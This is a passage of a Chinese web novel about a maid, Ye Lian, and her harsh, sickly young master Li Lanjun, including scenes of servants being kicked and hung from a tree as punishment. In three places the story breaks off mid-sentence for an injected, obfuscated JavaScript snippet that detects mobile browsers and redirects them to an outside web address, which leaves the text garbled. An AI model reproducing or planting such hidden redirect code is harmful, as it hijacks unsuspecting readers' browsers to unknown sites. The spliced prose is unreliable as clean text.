叶莲看看李兰钧，又看看冬青，勉强会意：“嗯……奴婢去端两碗来。” “三碗，”李兰钧伸出三个指头，末了补充一句，“你去端来。” “你”指的是冬青。 冬青一脸心领神会的模样，点头称是，随后移步至门外将门关上。 叶莲见他一通动作，后知后觉地觉察出什么。她梗着脖子，假意看屏风上的四君子。 李兰钧更是莫名其妙，他体恤丫鬟让冬青代为跑腿，冬青这小子倒好，出去还不忘把门带上，仿佛他要支开外人做什么似的…… 他越想越不对劲，用余光看立在身侧的小丫鬟，她两手交叠在一起，看似平淡手上却忍不住用指甲掐着肉，指侧爬满一排指印，不难看出紧张。 李兰钧摸摸鼻子，故作从容地找话说：“你手艺有了长进……” “是，奴婢这些日子跟着师傅们学了不少。”叶莲不敢让他的话落地上，赶紧干巴巴地接道。 “哦……” “过了冬，开春就有许多新菜式可做了，少爷，奴婢届时给您送来。”叶莲见他不言，只得自己开口说道。 “我想吃甜食。”李兰钧直言。 叶莲自打给他送膳以来，半数以上都送的甜口菜品，想是误打误撞摸到了他的喜好，所以他用不着藏着掖着。 “好，奴婢在甜食上也学了不少新花样，只要少爷不嫌弃，奴婢做了就往这边送！”叶莲听他不再遮掩，不自觉地就多说了几句。 她笑起来暖融融的，眼角眉梢都恰到好处，李兰钧的余光于是越来越正，变成了直视。 “也不必送得这么勤……” 他看着叶莲道，目光聚焦在她眉眼之间。 叶莲眯着眼笑完，睁眼便瞧见李兰钧一动不动地盯着自己，说话如梦里看花，一点不清明。 叶莲方才放下的惊心又倏地提起来。 18. 心乱 “是……” 叶莲敛了笑颜，谨慎地把头垂下，以遮挡李兰钧的目光。 李兰钧见她如惊弓之鸟，生怕被他怎么了似的，便眨眨眼将飘摇的心绪抖擞下来，颇有玩味地诓她：“嘶……头疼，胸口也发闷了……” 他扮病是一把好手，此时眉头微微皱起，声量跟着渐弱下来，一张本就病得发白的脸更加惨淡，再催出几声咳嗽，整个人仿佛命不久矣。 叶莲本打算低头装木头，一听李兰钧在身旁病怏怏地开口，抬脸去看时他面容憔悴得不像话，手扶着额头要晕不晕，着实把叶莲吓得半死。 “少爷，你怎么了？”她及时接住“虚弱”的李兰钧，让他不至于倒在地上。 李兰钧如意靠在她怀中，扯出一抹得逞地轻笑，叶莲身上浅淡的皂荚香和着属于她独特的香气，他鼻尖萦绕着这股淡香，又佯装神智不清地往她怀里埋。 “你在汤里放了什么……”李兰钧孩童似的被搂在怀中，瓮声瓮气地问。 叶莲眼下正慌乱无措之际，被他引导性的一问，脑子里还真想起什么。 许多贵人不能食用河虾，会引起虚邪贼风，更甚者危及性命…… 她害怕自己的小聪明忽然成了拙作，李兰钧这样命薄如纸的贵人，自小娇养呵护，却就这样被她害死。 “少、少爷……奴婢不知河鲜是您的忌口，奴婢，奴婢……” 叶莲方寸大乱，低头看李兰钧一动不动，赶紧颤抖着在他身上摸索，“少爷，少爷……” 她拍拍李兰钧的肩，又伸手去摸他的手指，触摸到李兰钧冰凉的指尖时，她的手指像被烫伤一般屈卷战栗。 好凉，凉得不像在室内待了这么久。 叶莲顾不上授受不亲，方愣了一会儿就覆上他的手背，将那赛冬雪寒凉的五指拢在掌心。 温热干燥的指掌递进丝丝暖意，李兰钧从温香软玉中蓦然抽出神，叶莲那只白净纤细的柔荑包裹在他的手上，堪堪盖住部分皮肤，从他的角度看过去，两只手交叠在一块，好似绸缪缱绻、难舍难分。 李兰钧自幼体寒，四肢雷打不动的冷，他怔怔地望着那双重叠的手，从未有过的渴肤之情在刹那间疯长—— 他反手一扣，将那只小手紧紧困在掌心。 “……少爷！”叶莲察觉上当，惊呼着抽手。 她要脱离的做法在李兰钧意料之内，他肆意放纵成了习惯，自然不许他人掣肘，所以当她要撤回手时，李兰钧没给她机会挣脱。 “您何故骗奴婢！” 叶莲挣扎不成，恼羞成怒地嗔道。 李兰钧向来想一出是一出，他全然不觉自己在欺骗她，厚颜无耻地回嘴：“我方才躺了一会儿就好了！” “倒是你这小丫鬟，竟敢对我大呼小叫！南园的规矩体统被你吃到狗肚子里去了？” 他倒打一耙后越说越有理，说到最后还真的生起气来，朝叶莲吹胡子瞪眼。 叶莲刚起势的怒火霎时被浇得没烟，她张张嘴，半晌只敢吐出一句：“奴婢知错了……” 听到她的示弱，李兰钧十分受用地昂起头，继续道：“哼，还算你有诚意。” 他饶有兴味地把玩起叶莲的手，沿着指节一寸一寸往上摸。 被他指腹擦过的肌肤顷刻便如蚂蚁爬过一般又麻又痒，叶莲不自觉地随着他的一举一动均匀呼气，气息里掺杂着古怪而异样的情愫。 她不知那是一种怎样的知觉，整个人像泡在花椒水里，麻得无法动弹。 “少爷……” 叶莲壮着胆子打断他，一开口却被自己的绵软声气吓了一跳。 李兰钧摸到手腕关节处，闻声低沉着嗓子应她，“嗯？” 一夜无雪，连风声都徐徐轻柔，婉转呜咽地卷过窗棂，透过窗纸看，室内烛火摇曳，暖风熏然，绢丝屏风上绣着的梅兰竹菊，一双人影附在屏风上，两相辉映衬得人影混浊难见。 这溶于暖香的一声轻言撞在叶莲心口上，叫她触动不已，腿脚不知是软是麻，松懈一下便支不住瘫坐在地上。 李兰钧被她这么一带，跟着摔在她胸口仰头扑倒在地。 二人就这般一前一后躺着，叶莲后脑撞在地上，只听“咚”地一声，头脑便嗡嗡作响，仿佛一切都被摔出了个干净。 李兰钧有叶莲作垫，倒没受什么伤，不过他向来无事也要化作有事，此时头落在她肩颈处，也因冲力感到头晕眼花。 “你做什么？”李兰钧怪罪她。 叶莲有苦难言，她既不敢说是被他摸的，又不愿承认自己古怪的感触，于是更加说不出话来。 她仰头看天花板，勉强憋出一句：“头晕……” “头晕？为何？”李兰钧不依不饶，“我还没说晕呢，你方站了这会儿就要晕了？” 叶莲渐渐缓过神，稍微动了动头，脑后那片便扯着疼起来，“奴婢头真的疼……” 她后知后觉地溢出泪花，伤处却还一抽一抽地发疼，若是她脑后也长了眼睛，就能看见那里肿胀淤青了一圈。 李兰钧从她身上挪了个地方坐在地面空处，然后撑着手回头看她。叶莲眨眨眼，通红的眼眶里掉下一滴泪，划过肌肤落在散发中，她吸吸鼻子，也转眼去看李兰钧。 “你……”李兰钧见她哭得梨花带雨，一时收了愠气，“你哭什么？” 他一骨碌爬起来，伸手去拉叶莲的手腕，叶莲借着他的力，才从冰凉的地面上坐起来，但那股疼劲还未消散。 她低头整整衣裙，然后用袖子擦泪。 “哎！”李兰钧一把拍开她的手。 叶莲被他一打，瘪着嘴委屈巴巴地望着他。 “多脏啊，你……用这个擦。” 他从袖中摸出一方手巾，缥碧的丝绸，边角绣着青竹枝叶，那双苍白修长的手拿着手巾，颇有傲气地塞到叶莲手里。 叶莲听话地用手巾擦眼泪，她从未摸过这么精细的面料，擦前捏了一会儿觉得有些可惜。 “少爷，奴婢清洗干净还您。” 叶莲被他盯得不自在，擦完赶紧开口道。 李兰钧不把这些小玩意当回事，又因方才占了便宜，心底正美着，大手一挥道：“送你了。” 叶莲却不敢高兴，“少爷，您的贴身之物，奴婢拿着不太好……” “那你现下拿回去洗就好了？”李兰钧嘴上不饶人，“何况这是真丝，像你平时搓衣服一样洗，还没拿给我就坏了。” “给你你就收着，多嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240692|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会找打！” 他吓唬人的本事更上一层楼，皱个眉瞪个眼就让叶莲不敢再多言。 叶莲只好诚惶诚恐地收入袖中，随后皱着脸慢慢站起来。 若不是李兰钧在场，她真想去揉揉被摔疼的臀腿，浑身上下没一处不疼的，李兰钧虽然看着瘦削，摔在她身上时却也是实打实的沉重。 叶莲这可怜的小身板，差点被他压成扁炊饼。 “去取个馄饨都如此慢，爬也该爬到头了……”李兰钧啧啧不满道，一边说一边动动被摔疼的手脚，“嘶……我这手磕到地上，一定淤青了。” 叶莲还没喘上半口气，又立马紧着他凑上来，咬唇不只如何吱声。 站在李兰钧边上手足无措半晌，她才从嘴里蹦出几个字，“是奴婢的错……” “对，就是因为你！”李兰钧微嗔道，“站得好好的，突然就拉着我倒了——你说你，是不是成心的？” 祸事的根源在这儿满口唾沫，叶莲站在祸根面前，一脸欲言又止。 哪是突然，明明是你来摸我的手…… 叶莲嘴上不能说，心里却一堆话在翻滚。 “少爷，馄饨端来了。” 李兰钧正要继续作威作福，冬青及时在门外开口了。 “进来！”李兰钧听见他的声音，更加没好气。 掩住的门开了条缝，冬青从缝里钻进来，迅速带上门不让冷风灌进室内。 他察觉李兰钧口气不好，但一时不知是在怪他来早了还是晚了，只能端着食案入内，窥见屏风后二人双双站在桌边，寝居暗香浮动，与他出门时无异。 “北院到厨房的脚程比上京还远么？” 李兰钧阴阳怪气道。 冬青这才发现自己会错了意，只得找个理由搪塞过去，“少爷，奴婢许久未在园中走动了……” 他将食案置于桌上，李兰钧经过方才种种，早已没了胃口，看都没看馄饨一眼，拂袖走到床边。 “我累了，替我更衣。” 替，谁替？ 叶莲和冬青大眼瞪小眼，拿不定主意。 “莲儿去门边候着。” 好在李兰钧适时开口，才让叶莲免于再次陷入囧境。 叶莲忙应声，然后迅速退出寝居，将门关牢后在门边立着望天。 没了李兰钧的审视，她终于可以抽出手暂无顾忌地揉被摔疼的部位了。 室内窸窸窣窣一阵，随后烛火一点点熄灭，只留几分微光，冬青在这时端着食案退了出来。 “莲儿，咱们一块吃个夜宵？” 冬青抬起食案，案上三碗馄饨尤有热意。 叶莲讶异地发出一声质疑，“啊？” 冬青笑了笑，回头看屋内已经歇下的李兰钧，又转过来看着她——这三碗，本来有两碗就是给他们的。 不过现在，他们得分食三碗了。 “新岁吉祥呀。” 冬青与叶莲找到寝居外的一方石桌坐下，各自吃起馄饨，吃到一半，冬青忽然抬头环顾四周，最后定眼在叶莲脸上，提着瓷勺道。 “冬青管事，新岁吉祥！” 叶莲说着，挖起一只馄饨，将今年种种与这只小巧的馄饨一同嚼碎，咽入肚里。 19. 淤青 李兰钧除夕当日夜奔回南园的事，园中翌日方才渐渐传开，大家伙收了新岁的喜悦，又变得沉默起来。 天未破晓，叶莲就由辛夷引着熟悉北院，她们要赶在李兰钧晨起更衣前去寝居候着，所以不得不顶着早寒天游园。 “你如今虽不管北院事宜，却也算个大丫鬟，所以平日少爷无差遣时，也得跟着去身边伺候。” 辛夷转过一重廊道，清晨的雾气带着露水沉甸甸地聚在屋舍之间，青瓦檐下点滴朝露，除花叶雨雪簌簌之音，四周一片静谧。 叶莲颔首称是。 她的叮嘱还未停止，物品摆放、侍女管理、主人喜好……每走一步都有一句规矩，可见北院和厨房分别之大，其规矩也冗长复杂。 “少爷喝茶，不喝陈茶，不喝末茶，只喝每年头批进的新茶……食果子，不食过酸，不食带涩味的，会染色的须剥好由贴身丫鬟喂食，不得让少爷用手碰着……” 叶莲垂目作洗耳恭听状，可要记下的多如盐粒，真正听进心里的只在少数。 她额角因紧张沁出薄汗，辛夷仍在不断地叙讲着，关于伺候李兰钧的规矩只多不少，或许在更衣前都未能全数讲完。 “……书房切忌举止过多，须寸步寸行，缄口慎言，不得佩香味浓重的香囊，有体味者禁入，要事先通传……” 一列侍女从后轻移莲步，在辛夷身边站定，为首的林檎福福身，不给叶莲半个眼神，对辛夷道：“有些规矩不是一时半会儿能熟记的，不如先让她跟着去侍奉，自个参悟岂不更好？” 辛夷仰头看看天色，天边褪去淡墨换上阴沉灰白，她预感不久便要落雪，于是点点头，“成吧，余下的我改日再说。” “莲儿，你站在林檎身边，跟着我走。” 林檎身边的侍女让出一个空位，叶莲顺势补上去，半分不敢耽搁。 她未顺清楚那些规矩，现下就得跟着去侍奉更衣，叶莲行在队列中，身边无人照应，心里格外忐忑。 林檎早早表态与她不和，辛夷则不冷不热说不上好坏，北院其余人听从她们差遣，她要找个伴儿说说话怕是都难。 整个北院她能说上话的，除了冬青，竟只剩李兰钧这个刁钻主子…… 她们行至寝居门口，与守门丫鬟打了照面才推门进去，晨起露重，待她们走进，末尾的丫鬟立即关上门，不给寒气入内的机会。 屏风后，李兰钧坐在床榻中，墨发如瀑般倾洒在锦被上，里衣下的身段清瘦如昨，他惺忪地掀开被子，脚尖未点地便有丫鬟迅疾给他穿上长靴。 叶莲躬身绕过屏风入内时，他正坐在床沿由着丫鬟给他打理鞋袜。 “少爷。” 辛夷简单行了礼，道。 李兰钧头也不抬，懒懒掀起眼皮看她一眼，偏偏头示意她们站在床旁。 两个丫鬟合力抬来一方木架，放稳后端着铜盆的丫鬟将盆置在架上，提着水壶的丫鬟一前一后走上去，为盆中添置冷热水，直至水温适宜。 穿鞋袜的丫鬟正套鞋到一半，李兰钧腿脚忽地一缩，嘴里吐出“啧”的轻声，他本就阴郁的脸色更加难看起来。 室内一众丫鬟听他烦躁的声音，收拾布置的动作统一顿了一下，又立马回归原状。 叶莲的心骤然提了起来。 他皱眉低头看着脚踝，试着动了动，只一下便立即止住。跪在他面前的丫鬟僵直身子，半分不敢多动。 屏息凝神之际，李兰钧伸出脚，一脚把跪着的丫鬟踹倒在地，那丫鬟受力摔在地上，手臂碰翻放在木架旁的水壶。 “砰——” 水壶被她一手打翻，半壶水顷刻间洒落在地，寝居的地全被着棉纱地毯，水洒在地毯上，一会儿就打湿浸染大片。 李兰钧未置一词，幽幽将目光移到叶莲身上，他早就看见这小丫鬟了，本来早起烦躁无意搭理她，这会儿脚腕却提醒他该找谁发泄。 “莲儿。” 他一边看她，一边出声道。 叶莲顿感毛骨悚然，方才余光见李兰钧看过来，果不其然是要修理她。 可他昨夜的伤实属自找，赖在她头上算什么？ 算她倒霉。 叶莲认命般在心里自问自答，嘴上也答应得勤快：“奴婢在。” 她麻溜地走到李兰钧面前，经过跌倒的丫鬟时，她正艰难爬起来跟着侍从出门领罚。 “把我的鞋袜脱了。” 李兰钧抬起脚，气势汹汹地伸到她面前。 叶莲依着他的动作跪下，轻手轻脚地给他褪去鞋袜，她取下没套入脚半截的长靴，又战战兢兢地开始解开他的足衣。 足衣松解，挂在李兰钧脚腕处，露出一截白净修长的小腿，叶莲轻轻将足衣脱下，托着他的脚底让他有落足之处。 “仔细瞧瞧。”李兰钧用命令的口吻道。 叶莲听话地开始查看他的腿脚，脚踝处果然有一块淤青，周围泛青，中间沉着紫黑的色斑。 这处伤旁人不知，叶莲却清楚得很，昨夜他倒在自己怀中，竟然真的受了伤，不过这点淤青…… 叶莲后脑勺突突地疼，她身上没一块好肉，正面砸在地上的皮肤都青紫大片，关节处也损伤不轻。 李兰钧见叶莲端着他的脚没反应，愠怒道：“我这儿——撞出如此大一块淤青！” 他指着那块指甲盖大的淤青，虚空着点了点。 叶莲万分不想他说出昨夜他们在一块的事，赶紧挽救道：“少爷，奴婢这就去请府医。” “什么医都不管用，我这伤起码得疼几日，你说，该如何？” 李兰钧全然不吃她的引话，揪着她昨夜的事不放。 叶莲只觉得一个头两个大，她脑后还肿着一块包，此刻里外同声，嗡嗡地折磨她。 她顶着一头包回：“奴婢、奴婢去取伤药给少爷按脚……” 李兰钧本要纠缠一会儿，听她说帮他揉脚，又将斥责吞回肚子里：“哦，成。” 见叶莲没反应，李兰钧将脚从她手心抽出，不轻不重地推推她的肩，“愣着做什么？快去！” 叶莲被他用脚尖搡了一下，赶紧爬起来颔首欲退下取药。 “去哪儿呢？”李兰钧在她身后发话，“伤药在屉子里。” 叶莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246061|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是晕头转向地转身去抽屉里拿药。 南园家大业大，连寝居的抽屉都不嫌多似的，满满排排几列，丁点标记都不做，压根分不清这那。 她站在好似比天高的柜屉前，仰头看完低头看。 李兰钧不知刻意无意，竟半声不发，任由她自己找。叶莲没听见李兰钧的指示，只好从最底下第一个抽屉开起，一个个往后找。 “辛夷，你也是个不动脑子的？” 还没翻找几个屉子，李兰钧就不耐地开口了。 他这句是为着北院下人的那揽子私事打个开头，这些个东西如今本事大了，敢在他眼皮子底下作威作福。 脚上空落落的，叶莲走时也不知给他把足衣套上，现在寒意从脚尖往上冒，本就冰凉的足更是无一点回温的意思。 辛夷被他一点，才赶紧走到他面前，俯身跪下替他笼上足衣长靴。 李兰钧余光见叶莲将头埋在抽屉里翻找，递给辛夷一个眼神，可她正将重心放在鞋袜上，没感觉自己会错了意。 “这套上了，待会儿药油拿上来是抹在靴上……还是足衣上呢。”他冷声道，全无询问的语气。 辛夷穿靴的手指一顿，脱下靴子跪地磕头：“少爷，奴婢蠢笨！” “找了半天，还没找到？” 李兰钧无心搭理她，偏过头对叶莲说道。 叶莲找得焦头烂额，忽然被他这一问，身子全凭内心惊惧猛地一抖——恰巧李兰钧尽收眼底。 “还未……”叶莲虚弱地回，手下抖个不停。 她并非没找到，方才打开抽屉，发现里面全是药瓶，可惜伤药近在眼前，这一屉子的药瓶，即使上面写了字她也一个不认识，所以只能一瓶一瓶打开查看。 终于，她拿起最后一只陶瓶，拧开木塞里面是气味独特的液体，与她以往擦的伤药并于区别。 “少爷，奴婢找到了……”叶莲攥着药瓶快步走到李兰钧面前，伏在地上交差。 李兰钧脑中不断浮现她一惊一乍的可怜样，见她老实巴交地跪着，双手献宝似的托着那土陶药瓶，颇觉她的麻雀胆子越发有趣。 “喏，擦吧。”他用鼻头看人，略过辛夷跟叶莲说话。 辛夷知趣地退到一边，给叶莲这个红人挪窝。 叶莲感觉十几双眼虎视眈眈地盯着她，李兰钧明目张胆的偏心叫她惹了一身仇恶，她顶着不知多少眼刀走到李兰钧眼前跪下，小心翼翼地在手心抹开药油。 李兰钧平日刁钻刻薄成了习惯，竟也敏锐地察觉到屋里这些丫鬟的变化，他自然晓得贬了辛夷抬了莲儿的后果，不过他还想让这矛盾囤积一会儿，待适宜时机再收拾她们。 莲儿这诡计多端的小丫鬟，让她受点苦也是应该的…… 他该为自己的伤讨个公道。李兰钧心里下好了盘算，见叶莲搓暖了手往他脚上贴，温热的手心带着药油覆上他冰冷的脚踝，力道十分老练，多一分少一分都可以叫他嚷嚷半晌，偏偏半分不差。 果然诡计多端，连这种近身的活都学得炉火纯青！ 李兰钧眯着眼打量眼前这个专心专意的小丫鬟。 20. 分神 叶莲还是三娘的时候，她爹干活回来身上总是一身伤痛，她作为家中唯一未嫁又能干活的女儿，自然而然承担了照顾父亲伤病的责任。 按她爹的说法上山采草药，然后在干完所有活儿之后，没有片刻停歇地将草药锤烂给她爹敷上，敷好后还要按摩他落下后症的颈肩手脚，一按就是半个时辰。 照顾完她爹，夜里还要帮她娘哄小弟入睡，浆洗尿戒子，为了不耽搁明日的劳作，得提前备好明日早饭，方便晨起热了就能吃…… 她卖入南园为奴之前，反复麻木地过着这样的日子，直到被母亲两贯钱卖给人牙子，草率地给她取了“叶莲”这个名字，她的一生才渐渐回过知觉。 手中的冰冷随着反复揉按有了温热的肤温，叶莲仔细地为李兰钧按着脚，力道比以往轻许多。 李兰钧被她伺候得舒服，撑着床沿阖上眼打盹，他昏昏沉沉地点点头，头方歪下又蓦地惊醒。 “……好了？” 他感觉那双温暖有劲的手离了他的脚腕，轻柔托住脚底在穿足衣。 脚上渐起的回温又慢慢冷下去。 “好了少爷，奴婢给您穿鞋袜。”叶莲轻声答。 李兰钧闷闷地应了一声，低头看她忙活。 叶莲不太熟稔地给他套上靴子，费了一番功夫才穿好，李兰钧网开一面，没计较她的磨蹭失误。 闹腾一早，他收拾好出门已过了早膳的时辰，临近中午。 天细细密密地下着雪，显露不久的绿意又被雪白覆盖，压抑在冰霜底下，侍从支起散着梅香的油纸伞，遮在李兰钧头顶。 叶莲与一众丫鬟侍从走在他身后，跟着他去书房伺候用膳。 清浅梅香中混入丝丝桐油味，到叶莲鼻中时已消散殆尽，只能嗅到一点风雅。 她沉着脚步踩在地砖上，一步步随李兰钧到书房，走到檐下侍从才收起伞，李兰钧大氅毛尖上沾上几颗雪粒，顷刻便消融不见，叶莲顶着一头白雪，等他进门才能暂作休整。 面上化开的霜雪用手一拂，沁骨的冷意从脸庞转移到手掌，她摩擦几道，又拍开衣上头顶的落雪，拢手哈着气取暖。 “都整理好了？” 辛夷压低声音问。 丫鬟们无声点头，随后跟着她入书房侍奉。 扑面而来的炭火味儿冲开叶莲身上的冷，她稍觉惬意地眨眨眼，站定在书桌旁后连眼珠都不敢乱动，眨眼更是谨慎。 大年初一，街上正是非凡热闹之时，李兰钧拖着半死不活的身子在书房看书习字。 他从来不喜出门应酬，连游玩赏景都一同列入不喜的名册中，除非推脱不下的宴请会让他踏出南园半日，其余时日均躲在书房。 朝下人挑毛病发脾气也归为他平日的消遣，与其他世家子弟相比，他的生活方式简直是清修苦行，没半分趣味。 李兰钧自己也晓得。 他浅啜了几口雪水梅粥，这梅粥光有雅韵，全无美味可言，寡淡无味，食之只能填充肚子。 饶是李兰钧口味清淡，也被这白米里掺着花瓣的早膳祛了胃口，舌上半朵梅花，嚼之有涩味，吞下如异物。 厨房真是将清淡饮食发挥到极致，一粒盐都舍不得加，生恐破了淡味。 “莲儿。” “奴婢在。” 叶莲觉得李兰钧开口叫她的次数愈发频繁了。她应声后上前立在他身侧，谨听他的吩咐。 “日后你给我送早膳，晨起更衣就免了。”李兰钧为自己没几两肉的身子做了长远打算。 “是。” 案上置有一张宣纸，还未作笔墨痕迹，李兰钧抬手欲写，复又回头看她。 她穿着浅绿冬装，低眉顺眼地站在身边，一双剪秋眸被羽睫遮盖住，眼底投下一小片阴影。 李兰钧心里暗自揣摩，小丫鬟这身远不及他给她置办的好看，但那件早就被他毁了，或许她洗不掉衣裙上的血渍，这几日才未穿过。 “我送你那件藕荷色的衣裙呢？”他明知故问。 再次被点到，叶莲沉下心回他：“少爷，上回擦破了几处，奴婢缝补好了，但毕竟有补过的痕迹，所以不敢再穿过来。” 她体贴的没说出血污难洗，她用尽了法子才勉强洗干净。 李兰钧听罢，看着她的一身怎么都不顺眼，“我让人给你送过去新的，这颜色……太普通了。” 叶莲顿感头疼：她平白受赏岂不是更遭非议，李兰钧还让不让她在北院安生了？ “奴婢什么都没做，不能白拿您的恩赏……”她纠结半晌，还是决定壮着胆子开口。 “你想说无功不受禄？”李兰钧觉得她未免太过假惺惺，方才使那上佳的按摩手法，说不是为了图谋恩赏他都不信，“你给我按脚按得好，我赏你的，成了吧？” 他大手一挥，随着安排了个由头，态度万分敷衍，而在叶莲看来颇有委曲求全的意思，仿佛是她在差使他出言行事。 她唯恐李兰钧下一瞬就变脸，治她的不敬之罪，“是……” 李兰钧一副了如指掌的模样，上下扫她两眼，又将心神放在笔墨上。 假意拒绝，还是要他哄着才收下。 这坏丫头心思真是缜密无比啊！ 他正自得于自己对她的无上宠爱，殊不知在旁人看来只是他气急败坏前的片刻宁静。 笔尖上墨珠凝成一滴黑泪落在宣纸上，纯净无瑕的米白上点了一点墨黑，李兰钧心不在焉地落笔，笔墨跟着心思写下一个龙飞凤舞的“莲”字。 他在最后一笔时才惊觉失神，却已走笔到了末尾，这字的底座就泄了气一般软弱无力地支撑着整个字，一眼能瞧出的笔力差误。 而作者本人也确实心虚，他做贼似的忽然转头，见叶莲看着字无动于衷，于是更加羞耻了。 他抓起宣纸捏成一团，又不放心地展开撕成碎片，尽数淹入砚台之中销赃灭据。 “看什么看！”李兰钧撕完纸，朝叶莲底气不足地喝道，“我一不注意你就想犯事？” 叶莲被他一喝，受惊地抬起头与他对视，目光接触到后又慌忙低头，“奴婢知错了！” 她没读过书习过字，天然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255679|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对文字有着强烈的好奇，忍不住用余光看了几眼案上陌生的字……她明明看得小心，怎么会被李兰钧发觉呢？ “错了？你就会说这句！”李兰钧为掩羞色提着嗓子道，随后又心虚下来，“……看到什么了？” 若是她敢说半个他不想听到的字，就把她拖出去吊在树上，让雪埋个干净！ 李兰钧意欲堵住叶莲之口，至少不能让第三个人知道。 叶莲张着嘴，半天吐不出一个字。 看到一堆画一样的字，还是说李兰钧本就在作画？她左思右想，最后干脆直接承认，“少爷，奴婢什么都没看到……” 看不懂不就等于什么都没看到，她觉得这个回答十分妥帖。 “我不信，来人……”李兰钧咬牙切齿。 “奴婢不识字啊！”叶莲欲哭无泪，扑倒在地上鸣冤。 此话一出，李兰钧的面容立即平静下来，他变脸比变天还快，一副心平气和的模样松懈着点头道，“哦……不识字啊。” “不识字好啊——若是让我知道哪天你突然就识字了，就把你这张谎话连篇的嘴一针一针缝起来……” 李兰钧“突然”二字咬得极重，像是在嚼烂她的筋骨一样，他阴恻恻地笑着，吐字又慢又重。 叶莲抬头仰视他，觉得李兰钧看上去比鬼还阴森可怖。 他说完面色又平静下来，仿若无事地道：“备纸笔，磨墨。” 侍女们听到他的吩咐，解冻了双腿凑上来轻声忙碌，叶莲跪在地上，没有李兰钧的指示她不敢乱动。 “你起来，差两人同你一起出去采买，日落之前我要见小厨房开火。” 李兰钧斜睨她一眼，淡淡道。 他还记得昨日叶莲说小厨房缺物的事，叶莲眨眨眼莫名觉得体贴。 但要将这词放在李兰钧头上，她又觉得自己想必是疯了。 “是，奴婢这就去。” 叶莲应声，但找谁去一同采买，她拿不定主意。 虽说她名义上是大丫鬟，但北院一帮人显然并不服她，她处境尴尬，差遣谁都不合适。 她一边退下一边苦想，李兰钧见她愁眉不展，心有灵犀地开口：“你、你，同她去。” 他伸出手指点了两个站在门口的丫鬟，放下手后眼珠一转去看叶莲的反应。 叶莲脚下一愣，旋即转过身颔首行礼，“谢少爷！” 她眉梢微微上扬，面上愁容刹那间不见，嘴角不自觉带上了笑意。 李兰钧见她眉眼盈盈，像寒冬久违的暖阳一般，心头泛起微波涟漪，他只用张张嘴就能讨得她的笑靥，小丫鬟的心思竟是如此简单便能参破。 她的手又小又软，李兰钧覆手去捉时也不多挣扎，肌肤传来的温暖比汤婆子还舒服…… 他要等，等到那帮奴婢开始如他所想为非作歹，他再跳出来捞她一把，就可心安理得地讨要报酬了，该讨些什么呢？ 李兰钧这会儿功夫，神思又不知飞往哪座巫山，他定定看着那堆被侍女挑出来的碎纸，仿佛从中能瞧出一个青衣人影似的。 21. 转意 叶莲这段时日过得十分不顺。 北院那伙人扎堆将她排挤在外，不论男女，都有意无意地挤兑她。 平时对她冷嘲热讽就罢了，竟然连北院临时的安排也不通知她一句，让她无故缺席，惹得李兰钧好一顿数落。 头些日子李兰钧还算对她偏袒，后面她屡错屡犯，如此他的脾气也就上来了，小惩大戒雨点似的落下来，让叶莲有苦难言。 这日，叶莲又被李兰钧罚着在屋外树下吊着。 她躲不及这些祸事，千算万算都逃不过纰漏，也惹不起这个团结一致的群体，只能闭口受下。 就像过去如数年里那样，百依百顺，拼了命挤进不属于自己的地界。 春意渐浓，桃树上的冬雪都化得差不多，滴答滴答地落下雪水，枝头几处新芽探出头，几只黄莺在树上歇脚，相鸣于此，嘤嘤成韵。 麻绳从手腕处扎实绑了几圈，把她骨突掩盖住，一节葱白的手臂捆着突兀的粗糙麻绳，周围泛出摩擦而生的红痕。 叶莲吊在这根粗壮的树枝上，两条腿吃力地垫着地，北院的侍从故意把她吊得不高不低，叫她受力不均，难以支撑身子，又不至于被折磨得不成样子。 可谓是两边讨好，各不得罪。 她额头因挣扎生出薄汗，一张小脸憋得通红，正苦苦抵着脚尖撑地，不让手腕受太重的摩擦。 林檎带着两名侍女趾高气扬地走进来，见到她狼狈的模样扯出一抹冷笑，然后托着不知何物走到书房门口。 这段日子李兰钧对叶莲失了兴趣，还挑出几个伺候得不错的赏了钱，更是加重她们心头的歹心，惯养了这些刁奴。 她进房门不久，里边便传来一通说话声，先是林檎尖细的声音，夹杂几声李兰钧简短的问话。 随后突然安静下来，一声清晰响亮的碎瓷声徒地打破这诡异的宁静。 “咚——” 叶莲听到人体倒地的声音。 林檎终于也干了蠢事么？ 她心中莫名解气，混杂的呼吸声都顺畅了许多。 不出所料，李兰钧提着林檎的胳膊走出门，林檎吃痛地佝偻身子，被他半拉半拽地拖着。 李兰钧把她带到台阶前，忽然嫌恶地放手，任由她掠过阶梯摔在地下。 另外两人也跟着被侍从带出来摔在一旁。 